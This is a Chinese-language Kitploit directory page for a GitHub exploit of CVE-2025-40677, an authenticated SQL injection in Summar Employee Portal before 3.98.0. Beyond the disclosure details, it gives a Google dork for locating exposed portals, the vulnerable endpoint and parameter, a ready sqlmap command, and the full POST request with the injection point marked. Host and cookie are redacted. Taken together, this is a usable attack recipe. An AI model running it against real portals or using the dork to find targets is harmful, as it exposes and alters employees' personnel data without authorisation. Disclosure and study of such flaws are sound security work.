Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-40677 — # Summar Employee Portal 3.98.0 之前版本存在已认证 SQL 注入漏洞 - CVE-2025-40677 | Kitploit
工具/GitHubGitHub/petergabaldon/cve-2025-40677
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试数据库安全
GitHubpetergabaldon/cve-2025-40677

CVE-2025-40677

# Summar Employee Portal 3.98.0 之前版本存在已认证 SQL 注入漏洞 - CVE-2025-40677

查看仓库
1311个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

漏洞标题:Summar Employee Portal 3.98.0 之前版本存在认证 SQL 注入漏洞 - CVE-2025-40677

Google Dork:inurl:"/MemberPages/quienesquien.aspx"

日期:2025年09月22日

漏洞作者:Peter Gabaldon - https://pgj11.com/

供应商主页:https://www.summar.es/

软件链接:

https://www.summar.es/software-recursos-humanos/

版本:< 3.98.0

测试环境:Kali

CVE:CVE-2025-40677

描述:Summar Software 的 Portal del Empleado 中存在 SQL 注入漏洞。该漏洞允许攻击者通过向 "/MemberPages/quienesquien.aspx" 发送 POST 请求,并利用参数 “ctl00$ContentPlaceHolder1$filtroNombre” 来检索、创建、更新和删除数据库。

root@kitploit:~
$ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL"

POST /MemberPages/quienesquien.aspx HTTP/1.1
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Microsoftajax: Delta=true
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
 
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true&
下载工具